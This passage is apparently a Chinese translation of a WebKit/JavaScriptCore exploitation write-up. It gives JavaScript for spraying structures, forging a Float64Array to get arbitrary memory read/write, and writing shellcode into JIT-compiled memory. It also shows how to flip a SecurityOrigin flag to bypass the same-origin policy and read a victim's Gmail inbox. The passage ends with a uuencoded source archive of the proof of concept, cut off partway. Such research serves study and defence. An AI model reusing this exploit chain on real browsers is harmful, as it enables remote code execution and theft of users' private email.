不能使用任意結構ID,這也是一個稍微復雜的事情。這是因為其他圾收集單元的分配結構不是JavaScript對象(Javascript對象包括字符串,符號,正則表達式對象,甚至結構本身)。通過方法表(method table)調用

任何引用方法都將由于斷言失敗而導致崩潰。這些結構只有在引擎啟動時候才會被分配,導致所有結構都具有相當低的ID。

為了解決這個問題,我們將使用一個簡單的噴射方法:我們將通過噴射方法產生幾千個結構體來表現Float64Array實例,然后選擇一個高的初始ID,看看是否碰撞出一個正確的。

for (var i = 0; i < 0x1000; i++) {
        var a = new Float64Array(1);
        // Add a new property to create a new Structure instance.
        a[randomString()] = 1337;
    }

我們可以使用'instanceof'驗證猜測是否正確,如果我們沒有,我們只有使用下一個結構。

while (!(fakearray instanceof Float64Array)) 
{
    // Increment structure ID by one here
}

Instanceof是一個相當安全的操作,它只會獲取結構,并從中獲取繼承類型,并與給定的繼承類型進行指針比較。

6.2 偽造Float64數組

Float64數組由本地JSArrayBufferView類實現。除了標準的JSObject字段之外,這個類還包含指向后備存儲器的指針(我們將其稱為“向量”,類似于源碼)、長度和模式字段(32位整數)。

由于我們將浮點值為64的數組放在另一個對象(從現在開始稱為“容器”)的內聯插槽中,我們必須處理由于JSValue編碼而產生的一些限制。特別是,

  • 不能為"Butterfly"設置nullptr指針,因為null不是有效的JSValue。 簡單元素訪問操作,不會訪問“Butterfly”,這也是很好的

  • 不能設置有效的模式字段,由于Nan-boxing,它必須大于0x00010000。但我們可以自由地控制長度字段。

  • 只能將向量設置為指向另一個JSObject,因為這些是JSValue可以包含的唯一指針

為了突破最后一個限制,我們將設置Float64Array的向量來指向一個Uint8Array實例:

+----------------+                  +----------------+
|  Float64Array  |   +------------->|  Uint8Array    |
|                |   |              |                |
|  JSCell        |   |              |  JSCell        |
|  butterfly     |   |              |  butterfly     |
|  vector  ------+---+              |  vector        |
|  length        |                  |  length        |
|  mode          |                  |  mode          |
+----------------+                  +----------------+

這樣,我們就可以將第二個數組的數據指針設置為任意地址,為我們提供任意的內存讀寫。

下面是使用我們以前的exploit原語創建一個假的Float64Array實例的代碼。然后用附加的攻擊代碼創建一個全局的“內存”對象,提供方便的方法來讀取和寫入任意內存區域。

sprayFloat64ArrayStructures();
// 創建要使用的數組
// 讀寫目標內存地址
var hax = new Uint8Array(0x1000);
var jsCellHeader = new Int64([
    00, 0x10, 00, 00,       // m_structureID, current guess
    0x0,                    // m_indexingType
    0x27,                   // m_type, Float64Array
    0x18,                   // m_flags, OverridesGetOwnPropertySlot |
        // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
    0x1                     // m_cellState, NewWhite
]);
var container = {
    jsCellHeader: jsCellHeader.encodeAsJSVal(),
    butterfly: false,       // Some arbitrary value
    vector: hax,
    lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()

};
// Create the fake Float64Array.
var address = Add(addrof(container), 16);
var fakearray = fakeobj(address);
// Find the correct structure ID.
while (!(fakearray instanceof Float64Array)) {
    jsCellHeader.assignAdd(jsCellHeader, Int64.One);
    container.jsCellHeader = jsCellHeader.encodeAsJSVal();

}
// 完成偽造,偽造的數組現在指向hax數組 

為了更好查看結果,這里使用了lldb調試輸出。 容器對象位于0x11321e1a0:

(lldb) x/6gx 0x11321e1a0

0x11321e1a0: 0x0100150000001138 0x0000000000000000
0x11321e1b0: 0x0118270000001000 0x0000000000000006
0x11321e1c0: 0x0000000113217360 0x0001000000000010
(lldb) p *(JSC::JSArrayBufferView*)(0x11321e1a0 + 0x10)
(JSC::JSArrayBufferView) $0 = {
  JSC::JSNonFinalObject = {
    JSC::JSObject = {
      JSC::JSCell = {
        m_structureID = 4096
        m_indexingType = '\0'
        m_type = Float64ArrayType
        m_flags = '\x18'
        m_cellState = NewWhite
      }
      m_butterfly = {
        JSC::CopyBarrierBase = (m_value = 0x0000000000000006)
      }
    }
  }
  m_vector = {
    JSC::CopyBarrierBase = (m_value = 0x0000000113217360)
  }
  m_length = 16
  m_mode = 65536
}

注意m_butterflym_mode是無效的,因為我們不能寫null。 到這,暫時沒有問題了,但一旦垃圾收集器運行發生時就會有問題。 這我們將在稍后進行處理。

6.3 執行shellcode

JavaScript引擎的一個特點就是所有的人都使用JIT編譯。這個編譯需要將指令寫入存儲器中的頁面,并稍后執行它們。 為此,大多數引擎(包括JSC)分配可寫和可執行的內存區域。這成為我們利用的一個好方向。 我們將使用我們的內存讀寫原語將一個指針泄漏到具有JavaScript函數的JIT編譯代碼中,然后將我們的shellcode寫入并調用該函數,從而觸發我們的代碼執行。

附加的PoC實現了這一點。下面是runShellcode函數的相關部分:

// This simply creates a function and calls it multiple times to
// trigger JIT compilation.
var func = makeJITCompiledFunction();
var funcAddr = addrof(func);
print("[+] Shellcode function object @ " + funcAddr);

var executableAddr = memory.readInt64(Add(funcAddr, 24));
print("[+] Executable instance @ " + executableAddr);

var jitCodeAddr = memory.readInt64(Add(executableAddr, 16));
print("[+] JITCode instance @ " + jitCodeAddr);

var codeAddr = memory.readInt64(Add(jitCodeAddr, 32));
print("[+] RWX memory @ " + codeAddr.toString());

print("[+] Writing shellcode...");
memory.write(codeAddr, shellcode);

print("[!] Jumping into shellcode...");
func();

可以看出,PoC代碼通過從JavaScript函數對象開始的,通過從一組對象的固定偏移讀取一對指針來執行指針泄漏。 這不是很好,偏移可以在版本之間改變,但是足以用于演示。首先改進的是,應該嘗試使用一些簡單的試探(最高位全為零,“接近”其他已知存儲器區域...)來檢測有效指針。 接下來,可以基于唯一的存儲器模式來檢測一些對象。例如,從JSCell繼承的所有類(例如ExecutableBase)要以可識別的頭開始。 此外,JIT編譯的代碼本身可能會以一個已知的函數序言開始。

請注意,從iOS10開始,JSC不再分配一個RWX區域,而是使用兩個虛擬映射到同一物理內存區域,其中一個可執行,另一個可寫。然后在運行時出現memcpy的特殊版本,其可寫區域的隨機地址作為立即值,并被映射為--X,防止攻擊者讀取地址。 為了繞過這個,現在需要一個短的ROP鏈來調用這個memcpy,然后才進入可執行映射。

6.4 維持激活垃圾收集

如果我們想保持渲染器進程存活周期超過我們的初始漏洞周期(稍后會看到為什么想要做到這一點),則面臨的是垃圾收集器啟動進程就立即崩潰。發生的這個情況主要是因為我們偽造的Float64Array的“Butterfly”在GC期間會被訪問,它又是一個無效的指針(不是null指針)。從JSObject 訪問子對象:

Butterfly* butterfly = thisObject->m_butterfly.get();
if (butterfly)
    thisObject->visitButterfly(visitor, butterfly,
                               thisObject->structure(visitor.vm()));

如果我們可以將偽造的數組的“Butterfly”指針設置為nullptr指針,這會導致另一個崩潰。因為指針值也是容器對象的屬性,并且它會被當作一個JSObject指針。 所以我們可以這樣做:

  1. 創建一個空對象。此對象的結構將包含具有默認數量的內聯存儲(6個插槽)的對象,并且全部不處于使用狀態。

  2. 將JSCell頭(包含結構ID)復制到容器對象。這樣就可以讓引擎“忘記”構成假數組的容器的對象的屬性。

  3. 將假數組的“Butterfly”指針設置為nullptr指針,且使用默認的Float64Array實例來替換該對象的JSCell。

最后一步是必需的,在我們結構噴射(spray)之前,可以獲得一個具有一些屬性的Flotation64Array構造。

這三個步驟給我們的漏洞利用有了一個穩定的執行。

注意,當覆蓋JIT編譯函數的代碼時,如果需要進程繼續就必須注意返回有效的JSValue。 如果不這樣做,返回的值將由引擎保存并由收集器檢查可能會導致在下一個GC期間崩潰。

6.5 總結

這時,到了快速總結完整利用的時候了。

  1. 噴射Float64Array結構

  2. 分配具有內聯屬性的容器對象,它們一起在內聯屬性槽中構建一個Float64Array實例。使用適用于之前噴射的高初始化結構ID,將數組的數據指針設置為指向一個Uint8Array實例。

  3. 泄漏容器對象的地址,并創建一個指向Float64Array容器對象內的假對象

  4. 使用“instanceof”查看結構ID的猜測是否正確。如果通過分配新的容器對象的對應屬性值不能增加結構ID,就一直重復操作,直到獲得一個Float64Array為止。

  5. 通過寫入Uint8Array的數據指針來讀取、寫入任意存儲器地址

  6. 修復容器和Float64Array實例,避免在垃圾收集過程中崩潰.

7 渲染器進程的濫用

通常講到這,下一個步驟就是激發某種沙盒逃出漏洞來進一步攻擊目標機器。

但這些的討論超出了本文的范圍,并且由于在其他地方的講了很多,我們就探討當前的情況就行。

7.1 WebKit進程和權限模型

WebKit 2 [22](大約2011年)以來,WebKit提供了一個多進程模型,該進程模型為每個選項卡生成一個新的渲染器進程。不僅提供了穩定性和提升了性能,也為沙盒基礎設施提供了支撐基礎。沙盒的出現限制了受損渲染器進程對系統可能造成的損害。

7.2 同源政策

同源策略(SOP)為客戶端的Web安全提供了基礎,它防止源自A的內容干擾源自B的內容。這包括腳本級的訪問(例如訪問另一窗口內的DOM對象)以及網絡級的訪問(例如XMLHttpRequest)。有趣的是,在WebKit中,SOP是在渲染器進程內是強制執行的,這意味著我們可以在里面繞過它。目前所有主要的網絡瀏覽器都是如此,不過chrome正在改進它們的網站隔離項[23]

這個也不是什么新的內容,在過去被也常常利用,但的確值得討論。實質上,這意味著渲染器進程可以完全訪問所有瀏覽器會話,并且可以發送經過身份驗證的跨源請求并讀取響應。因此,損害渲染器進程的攻擊者能獲得對受害者的瀏覽器會話訪問的權限。

為了演示這個說法,我們現在將修改我們的exploit,來顯示用戶的gmail收件箱郵件。

7.3 盜取電子郵件

WebKit中的SecurityOrigin類中有一個有趣的字段:m_universalAccess。 如果它被設置,它將導致所有跨源檢查成功。 我們可以通過跟隨一組指針(其偏移量還取決于當前的Safari版本)獲得對當前活動的SecurityDomain實例的引用。然后,可以為渲染器進程啟用universalAccess,執行身份驗證的跨源對象XMLHttpRequest。最后閱讀gmail中的電子郵件就變得簡單了。

var xhr = new XMLHttpRequest();

xhr.open('GET', 'https://mail.google.com/mail/u/0/#inbox', false);

xhr.send();     // xhr.responseText now contains the full response

這個exploit可以顯示“用戶”當前的Gmail郵箱,如果要具體實現,需要在gmail中進行有效的session。

8 參考文獻

[1] http://www.zerodayinitiative.com/advisories/ZDI-16-485/

[2] https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/

[3] http://trac.webkit.org/wiki/JavaScriptCore

[4] http://www.ecma-international.org/ecma-262/6.0/#sec-ecmascript-data-types-and-values

[5] http://www.ecma-international.org/ecma-262/6.0/#sec-objects

[6] https://en.wikipedia.org/wiki/Double-precision_floating-point_format

[7] http://www.ecma-international.org/ecma-262/6.0/#sec-array-exotic-objects

[8] http://www.ecma-international.org/ecma-262/6.0/#sec-ecmascript-standard-built-in-objects

[9] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice

[10] https://github.com/WebKit/webkit/blob/320b1fc3f6f47a31b6ccb4578bcea56c32c9e10b/Source/JavaScriptCore/runtime/ArrayPrototype.cpp#L848

[11] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/species

[12] http://www.ecma-international.org/ecma-262/6.0/#sec-type-conversion

[13] https://bugzilla.mozilla.org/show_bug.cgi?id=735104

[14] https://bugzilla.mozilla.org/show_bug.cgi?id=983344

[15] https://bugs.chromium.org/p/chromium/issues/detail?id=554946

[16] https://www.gnu.org/software/guile/manual/html_node/Conservative-GC.html

[17] http://www.ecma-international.org/ecma-262/6.0/#sec-ecmascript-language-types-number-type

[18] http://www.ecma-international.org/ecma-262/6.0/#sec-typedarray-objects

[19] https://developers.google.com/v8/design#fast-property-access

[20] http://www.ecma-international.org/ecma-262/6.0/#sec-operations-on-objects

[21] http://www.ecma-international.org/ecma-262/6.0/#sec-ordinary-object-internal-methods-and-internal-slots-delete-p

[22] https://trac.webkit.org/wiki/WebKit2

[23] https://www.chromium.org/developers/design-documents/site-isolation

9 源碼

begin 644 src.zip
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
